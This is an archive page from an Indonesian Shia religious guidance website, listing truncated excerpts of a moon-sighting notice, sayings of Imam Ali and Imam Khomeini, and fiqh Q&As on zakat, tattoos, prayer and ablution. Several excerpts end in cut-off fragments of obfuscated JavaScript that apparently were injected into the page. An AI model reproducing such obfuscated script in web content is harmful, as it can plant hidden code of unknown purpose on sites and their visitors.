Situs Resmi Komisi Bimbingan dan Dakwah Syura Ahlulbait Indonesia (ABI)
Home2019November

November 2019

BismillahirrahmanirrahimAllahumma shalli ‘ala Muhammad wa Aali Muhammad Berdasarkan keterangan berbagai lembaga, baik dalam dan luar negeri tentang kriteria visibilitas hilal bulan Rabiul Akhir 1441 H dan keterangan Tim Rukyatul Hilal Lembaga Falak AHLULBAIT INDONESIA yang melakukan istihlal pada hari ini, Rabu, 27 November 2019 bertepatan dengan

Imam Ali bin Abi Thalib a.s.: "Jika Allah menghendaki kebaikan atas seorang hamba-Nya, Dia ilhamkan kepadanya kesederhanaan (hemat) dan manajemen yang baik, serta menjauhkan darinya manajemen buruk dan boros. (Mizan al-Hikmah, j. 1, h. 842) [*] Baca: Memperdalam Ilmu Agama, Manajemen Kehidupan Dunia, dan Bersikap Sabar https://www.youtube.com/watch?v=d4vgyPZ2W6Q&t=19s function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let

TANYA:  Assalamu'alaikum. Bagaimanakah perhitungan uang (simpanan/tabungan) untuk zakat? Apakah dengan 2,5% diambil dari uang simpanan setelah dipotong kebutuhan belanja rutin? JAWAB:  'Alaikumussalam warahmatullah. Dalam fikih Ahlul Bait AS, khususnya dalam fatwa Imam Ali Khamenei HF, tidak ada kewajiban zakat uang baik yang dihasilkan dari perdagangan/bisnis ataupun yang lainnya. Mereka yang memiliki

TANYA:  Assalamu'alaikum. Bagaimana hukum membuat tato permanen di tubuh? JAWAB:  'Alaikumussalam warahmatullah. Tidak ada hukum tato permanen secara mandiri, melainkan dampak tato permanen pada tubuh dari sisi lingkungan tinggalnya. Jika ia (tato) merupakan simbol kejelekan dan premanisme sehingga yang menggunakannya akan diberi label sebagai seorang preman, residivis, pelaku kejahatan dan sejenisnya

Sesungguhnya tangan-tangan keji yang menyemai perselisihan di antara kelompok Syiah dan Sunnah, bukanlah Sunni atau pun Syi'i, melainkan tangan-tangan kolonialis yang hendak merampas kekayaan negeri Islam. (Sahifah Imam Khomeini, j. 1, h. 373 - 395) [*] Baca: Persatuan Sunni-Syiah Dalam Perspektif Imam Khomeini https://youtu.be/jbSavagNo_U function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function

TANYA: Assalamu'alaikum. Saya melihat cara Imam Khamenei salat di Youtube, setelah tasyahud akhir/salam mengangkat tangan 3 kali. Dalam buku terjemahan fikih (Daras Fikih) beliau tidak ditemukan mengenai hal itu. Mohon penjelasannya. Terima kasih. JAWAB: 'Alaikumussalam warahmatullah. Lafadz takbir tiga kali sembari mengangkat tangan usai mengucapkan salam adalah sunnah hukumnya. Buku

TANYA: Assalamu'alaikum. Bagaimana jika kaki yang hendak diusap saat berwudhu, tidak dalam kondisi kering, yakni sudah terkena cipratan air kran ketika membasuh tangan? Terima kasih. JAWAB: Alaikumussalam wr, kaki tersebut harus diusap dengan kain atau sejenisnya sehingga kering atau sekurangnya tidak berair. [*] Baca Fikih Quest 5: Basuhan dalam Berwudu https://www.youtube.com/watch?v=ypscRguYnpA function